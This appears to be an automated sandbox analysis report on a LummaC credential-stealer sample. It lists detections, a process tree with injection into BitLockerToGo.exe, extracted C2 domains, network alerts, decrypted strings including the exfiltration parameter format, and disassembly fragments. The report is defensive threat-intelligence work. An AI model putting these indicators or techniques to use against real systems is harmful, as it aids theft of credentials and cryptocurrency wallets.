Edit tour

Windows Analysis Report
HLZwUhcJ28.exe

Overview

General Information

Sample name:	HLZwUhcJ28.exe renamed because original name is a hash value
Original sample name:	4b93cf26d6e6c52e332e084f0940c5e687a91b08e66ee822aae302d1b1f3c014.exe
Analysis ID:	1545779
MD5:	b736da6a81e01bebfdd469d26785e13c
SHA1:	e82d651e62747674fd6c8bfeb2ebdb569f572c9f
SHA256:	4b93cf26d6e6c52e332e084f0940c5e687a91b08e66ee822aae302d1b1f3c014
Tags:	arch-x64arch-x86exeimage-win10v2004-20241007-enlocale-en-usos-windows10-2004-x64systemhttps-tipneikidevhttps-traigeuser-NeikiSamples
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

File is packed with WinRar

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

HLZwUhcJ28.exe (PID: 1216 cmdline: "C:\Users\user\Desktop\HLZwUhcJ28.exe" MD5: B736DA6A81E01BEBFDD469D26785E13C)

Imperial_Delay.exe (PID: 1136 cmdline: "C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe" MD5: C1A90FA945AD6CED2104263762C7FCB4)

BitLockerToGo.exe (PID: 2676 cmdline: "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" MD5: A64BEAB5D4516BECA4C40B25DC0C1CD8)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["heroicmint.sbs", "wrigglesight.sbs", "ferrycheatyk.sbs", "snailyeductyi.sbs", "captaitwik.sbs", "monstourtu.sbs", "sidercotay.sbs", "deepymouthi.sbs"], "Build id": "tLYMe5--3"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000002.00000003.1951968090.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1983486359.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1982657253.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1981505063.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1983200877.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1983911161.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.1881484672.000000000A7D8000.00000004.00001000.00020000.00000000.sdmp	Msfpayloads_msf_9	Metasploit Payloads - file msf.war - contents	Florian Roth	0x0:$x1: 4d5a9000030000000
00000002.00000003.1981900349.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1982913303.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1983703963.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1996190492.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1982143036.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 2676	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 2676	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: BitLockerToGo.exe PID: 2676	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 11 entries

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:05:23.695491+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49736	104.21.32.196	443	TCP
2024-10-31T01:05:24.818599+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49738	104.21.32.196	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:05:23.695491+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49736	104.21.32.196	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:05:24.818599+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49738	104.21.32.196	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (captaitwik .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:05:20.681200+0100	2056750	1	Domain Observed Used for C2 Detected	192.168.2.4	58904	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (deepymouthi .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:05:20.635488+0100	2056752	1	Domain Observed Used for C2 Detected	192.168.2.4	63735	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (ferrycheatyk .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:05:20.704815+0100	2056754	1	Domain Observed Used for C2 Detected	192.168.2.4	60925	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (heroicmint .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:05:20.659161+0100	2056756	1	Domain Observed Used for C2 Detected	192.168.2.4	52412	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (monstourtu .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:05:20.647197+0100	2056760	1	Domain Observed Used for C2 Detected	192.168.2.4	59066	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sidercotay .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:05:20.670626+0100	2056762	1	Domain Observed Used for C2 Detected	192.168.2.4	62213	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (snailyeductyi .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:05:20.715001+0100	2056764	1	Domain Observed Used for C2 Detected	192.168.2.4	49626	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wrigglesight .sbs)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:05:20.691871+0100	2056766	1	Domain Observed Used for C2 Detected	192.168.2.4	57319	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:05:33.735583+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49743	104.21.32.196	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-31T01:05:22.218518+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.4	49734	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: HLZwUhcJ28.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe

Avira: detection malicious, Label: TR/Redcap.tpgxx

Found malware configuration

Source: 1.2.Imperial_Delay.exe.a488000.1.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["heroicmint.sbs", "wrigglesight.sbs", "ferrycheatyk.sbs", "snailyeductyi.sbs", "captaitwik.sbs", "monstourtu.sbs", "sidercotay.sbs", "deepymouthi.sbs"], "Build id": "tLYMe5--3"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe

ReversingLabs: Detection: 83%

Multi AV Scanner detection for submitted file

Source: HLZwUhcJ28.exe

ReversingLabs: Detection: 50%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: snailyeductyi.sbs
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: ferrycheatyk.sbs
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: deepymouthi.sbs
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wrigglesight.sbs
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: captaitwik.sbs
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sidercotay.sbs
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: heroicmint.sbs
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: monstourtu.sbs
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: deepymouthi.sbs
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tLYMe5--3

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_0041F5CB CryptUnprotectData,

2_2_0041F5CB

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.196:443 -> 192.168.2.4:49745 version: TLS 1.2

Source: HLZwUhcJ28.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5SqlVBox.pdb00 source: Qt5SqlVBox.dll
Source:	Binary string: D:\tinderboxa\win-7.0\out\win.amd64\release\obj\VBoxClient-x86\VBoxClient-x86.pdb source: VBoxClient-x86.dll.0.dr
Source:	Binary string: BitLockerToGo.pdb source: Imperial_Delay.exe, 00000001.00000002.1881484672.000000000A700000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5GuiVBox.pdb source: Qt5GuiVBox.dll
Source:	Binary string: D:\tinderboxa\win-7.0\out\win.amd64\release\obj\VBoxClient-x86\VBoxClient-x86.pdb<<9 source: VBoxClient-x86.dll.0.dr
Source:	Binary string: BitLockerToGo.pdbGCTL source: Imperial_Delay.exe, 00000001.00000002.1881484672.000000000A700000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: HLZwUhcJ28.exe
Source:	Binary string: R:\tinderbox\win-qt-5.15\out\qtbase\plugins\sqldrivers\qsqlite.pdb source: qsqlite.dll.0.dr
Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5SqlVBox.pdb source: Qt5SqlVBox.dll
Source:	Binary string: D:\tinderboxa\win-7.0\out\win.amd64\release\obj\VBoxProxyStub-x86\VBoxProxyStub-x86.pdb source: VBoxProxyStub-x86.dll.0.dr

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECEECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF70ECEECE0
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECD647C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF70ECD647C
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ED03130 FindFirstFileExA,	0_2_00007FF70ED03130

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], C85F7986h	2_2_0042D020
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx-515AFC65h]	2_2_004321CC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], cl	2_2_004321CC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [edx], al	2_2_004321CC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebx, dword ptr [esi]	2_2_004321CC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+edx-4D4CB3B5h]	2_2_004321CC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+edx+3BB86854h]	2_2_004321CC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, ecx	2_2_004321CC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+585213E0h]	2_2_00444200
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, ecx	2_2_00410310
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0041F5CB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [eax+ecx]	2_2_0040F6E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+2A1E1BB5h]	2_2_0040F6E0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, eax	2_2_0040D740
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [edi], ax	2_2_004108C6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [ecx], ax	2_2_0041F8F4
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [edi+ecx-42B872D0h]	2_2_00443A46
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [ebx], cl	2_2_00431C50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, ebx	2_2_0040FDCC
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+edx]	2_2_00447F40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 30303030h	2_2_00401000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [eax+ebx], 20202020h	2_2_00401000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp word ptr [ebp+edi+02h], 0000h	2_2_00429170
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, dword ptr [ebp-44h]	2_2_0042F221
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp esi	2_2_004202C1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+esi-221F534Ah]	2_2_0042C2D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov esi, eax	2_2_0042C2D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov dword ptr [esp+30h], 0206040Eh	2_2_00430280
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 07E776F1h	2_2_00430280
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ecx, dword ptr [ebx+edx]	2_2_0042E343
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov ebp, eax	2_2_0042E343
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ebx	2_2_0040F345
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_004293D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edi, byte ptr [esp+edx-69h]	2_2_004293D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov word ptr [eax], cx	2_2_0040F39C
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then add ecx, eax	2_2_0042C5E2
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then push esi	2_2_0042A593
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-09h]	2_2_0042C5A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, dword ptr [0044FEE0h]	2_2_0042C5A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 07E776F1h	2_2_0042C5A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ecx	2_2_00409602
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp al, 2Eh	2_2_0042D621
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edx, eax	2_2_0042D621
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp dword ptr [0044FFC8h]	2_2_0042D621
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then push eax	2_2_004466F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ebp	2_2_004466F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esp+esi]	2_2_00441770
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, ebp	2_2_0040A8F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, ebp	2_2_0040A8F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 07E776F1h	2_2_00430991
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], 07E776F1h	2_2_0042E9BD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 07E776F1h	2_2_00430A1E
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-08h]	2_2_00423AD1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+08h]	2_2_00423AD1
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ebp	2_2_00446AA0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-3EDD3066h]	2_2_00421AB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then cmp di, 005Ch	2_2_00421AB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov edi, dword ptr [esp+0Ch]	2_2_00421AB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov byte ptr [esi], cl	2_2_00421AB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esp+esi+08h]	2_2_00442AB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then mov eax, esi	2_2_0042BABB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-08h]	2_2_00423ABE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+08h]	2_2_00423ABE
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [esp+ecx-271B4865h]	2_2_00424B50
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp ebp	2_2_00446BB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then jmp eax	2_2_00410BB6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, byte ptr [ebx]	2_2_0040DC00
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	2_2_0043AC20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx eax, word ptr [esi+ecx]	2_2_0043FCD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	2_2_00404D40
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	2_2_00405DF0
